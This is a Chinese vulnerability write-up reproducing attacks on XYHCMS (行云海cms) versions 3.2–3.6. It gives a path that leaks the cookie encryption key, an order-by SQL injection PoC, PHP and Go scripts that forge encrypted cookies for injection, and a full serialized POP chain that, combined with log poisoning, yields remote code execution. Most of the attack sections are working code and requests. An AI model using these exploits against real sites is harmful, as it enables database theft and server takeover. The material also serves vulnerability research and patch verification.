0x00 基本信息

基本信息

简介

基于thinkphp开发的系统,去年的时候有人针对反序列化进行了分析,这里主要也是针对前台的SQL注入和反序列化进行复现一下

文件hash

必选项

  • 3.2:d6c17ccb4711de372de20a68f83e7d32
  • 3.5:eacb46c455ac6c924291102528e1f93b
  • 3.6_20220617:ab3c78e936b3c624b2349998c4c8ade2

文件存储

必选项

  • 3.2:https://pan.baidu.com/s/1xC3xZv-8SQB6Ov5fWvx2nQ
  • 3.5:https://pan.baidu.com/s/1qXvkjNea2cEz0xkqrQD5Bw
  • 3.6_20220617:https://pan.baidu.com/s/1RZg2JM7Lw5uVdtLTLwbYWQ

cms指纹

可选项,后期必选

  • app="XYHCMS"

源码相关

从哪下载,可选项

cms名字

必选项,实际名字或者化名

  • 行云海cms

关联平台

类似第三方支付平台

0x01 漏洞复现

注入和反序列化的关键点

get_cookie方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//function get_cookie($name, $key = '@^%$y5fbl') {
function get_cookie($name, $key = '')
{

if (!isset($_COOKIE[$name])) {
return null;
}
$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;

$value = $_COOKIE[$name];

$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($value);
// echo($value);var_dump(unserialize($value));exit;
return unserialize($value);
}

这里不传值的时候,会获取配置中的CFG_COOKIE_ENCODE的值

但是这个值是在安装的时候随机生成的

1664251977046

所以需要获取这个值,存储在数据库中

但是会有一个操作将其写入文件中,流程如下

在包含的基础配置文件中调用get_cfg_value函数

1664252129204

跟进此函数后

此时的sname值为config/site

1664252268164

当数据不存在的时候,从数据库中查询,然后通过F函数写入缓存

只是将数据,序列化了一下,然后直接写入php后缀的文件中,当然后台可能有其他的获取shell的方式

1664252383085

只前台的话,我们可以用来获取随机key值

1
/App/Runtime/Data/config/site.php

1664252413411

这个问题,从3.0版本开始一直到3.6版本的202102版才被修复

如下

1664252480745

所以在此之前都是可以的,后面再说产生的问题

order by注入

这个类型的注入应该出现于3.5版本之后,

因为在3.2版本并未发现相关的控制器,具体影响到哪个版本也不清楚,没去看,最新版修了

涉及到的接口如下

  • api/lt/alist
  • api/lt/slist
  • api/lt/gbooklist
  • api/lt/reviewlist
  • api/lt/taglist

这里以gbooklist接口为例

1664253209656

直接构造poc就可以了

1
/index.php?s=api/lt/gbooklist&orderby=(select+updatexml(1,concat(0x7e,user()),1))

可以在日志中找到报错

1664253297135

cookie中的注入

这个就是上面说到的get_cookie方法了

有很多,以如下两处为例

  • home/member/index
  • home/member/name

1664255249879

很常规的一个find注入,只要解码出来的uid值是键值为where的数组即可

比如

1
2
3
$a = array(
"where"=>"1 and updatexml(1,concat(0x7e,(md5('AEFca'))),1)#"
);

在php中的加密方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
class SysCrypt {

private $crypt_key;

// 构造函数
public function __construct($crypt_key) {
$this -> crypt_key = $crypt_key;
}
public function php_encrypt($txt) {
$encrypt_key = md5('123');
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this -> crypt_key));
}

public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this -> crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}

private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}

public function __destruct() {
$this -> crypt_key = null;
}
}


$sc = new SysCrypt(md5('47bdPCl6X'));
$a = array(
"where"=>"1 and updatexml(1,concat(0x7e,(md5('AEFca'))),1)#"
);
$text = serialize($a);
print(urlencode($sc -> php_encrypt($text));
?>

其中key值就是获取到的

复现如下

1664255450755

修改成go的加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main

import (
"fmt"
"encoding/base64"
"crypto/md5"
)

func main() {
key := "47bdPCl6X"
md5_key := MD5123455(key)
str_jm := jiami("123",md5_key)
fmt.Println(str_jm)
}

func MD5123455(str string) string {
data := []byte(str) //切片
has := md5.Sum(data)
md5str := fmt.Sprintf("%x", has) //将[]byte转成16进制
return md5str
}


func key_test(txt string, encrypt_key string) string{
encrypt_key = MD5123455(encrypt_key)
ctr := 0
tmp := ""
for i:=0; i<len(txt); i++{
if ctr == len(encrypt_key){
ctr = 0
}
test := txt[i]^encrypt_key[ctr]
findkey := ""
findkey = fmt.Sprintf("%c",test)
tmp += findkey
ctr = ctr + 1
}
return tmp
}

func jiami(data string, key_tmp string) string {
encrypt_key := MD5123455("123")
fmt.Println(encrypt_key)
ctr := 0
tmp := ""
for i:=0; i<len(data); i++{
if ctr == len(encrypt_key){
ctr = 0
}
test := data[i]^encrypt_key[ctr]
findkey := ""
findkey = fmt.Sprintf("%c",test)
test_2 := fmt.Sprintf("%c",encrypt_key[ctr])
tmp += test_2 + findkey
ctr = ctr + 1
}
str := key_test(tmp,key_tmp)
msg := []byte(str)
encoded := base64.StdEncoding.EncodeToString(msg)
return encoded
}

反序列化的问题

重点就是这个反序列化问题了

这种就属于纯thinkphp的链子,其实在实际环境中可以结合一歇实际的情况

比如在之前的文章中提到过的结合delete或者remove的方法

在这套cms中同样也可以

触发的点有很多可以用,但是这个要强调是3.2<version<3.6_202102

在上述的版本中HomeCommonController如下

这里需要重点关注的是_initialize方法,可以看到的是在此处直接初始化了

1664256939225

那么我们就可以任选一个继承自此控制器的子控制器

1664256991869

这里不得不说一个点了

在thinkphp3的加载过程中,controller不存在和action不存在是不一样

1664257244429

首先是实例化出来控制器,再去获取方法

而在controller方法中会进行new一个新的对象,此时会调用初始化方法

1664257303114

而在初始化方法中默认会调用_initialize,这是tp的特点包括tp5及以上版本也会调用

1664257333400

那就很好理解了,在为获取方法之前就可以直接执行_initialize方法中的反序列化了

而这个时候不管我们传入的方法是什么,都会进行反序列化

这个点很重要

反序列化利用链

同样是imagick类为入口

1664256026052

可以将此时的img设置为HomeCommonController的对象

结合上面我们说的方法可控,任意输入都不会影响反序列化

直接瞄准了controller类的__call方法

1664257551371

上面的方法可控,只要传入a=destory正好可以进入这里调用_empty方法

然后就会调用display方法

1664257653160

此时就相当于调用任意类的display方法,但是我们只要按照这个样子继续往下跟进即可

1664257707427

一套操作就再次走到了assign变量覆盖漏洞那里

1664257876633

1664258023247

这个样子也不存在了php的版本限制

利用链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
namespace Think\Image\Driver{
use Home\Controller\HomeCommonController;
class Imagick{
private $img;
public function __construct(){
$this->img = new HomeCommonController();
}
}
}

namespace Think{
class View{
protected $tVar;
public function __construct(){
$this->tVar = array("_filename" => "./App/Runtime/Logs/Api/22_09_27.log");
}
}
}

namespace Home\Controller{
use Think\View;
class HomeCommonController{
protected $view;
public function __construct(){
$this->view = new View();
}
}
}
namespace{
use Think\Image\Driver\Imagick;
echo urlencode(serialize(new Imagick()));
}

?>

漏洞复现

通过日志写入一个木马

找个报错点

1
/index.php?s=api/ltaaa/taglist&test=<?=md5('123');unlink(__FILE__);?>

1664262423325

成功执行

1664262702310

0x02 end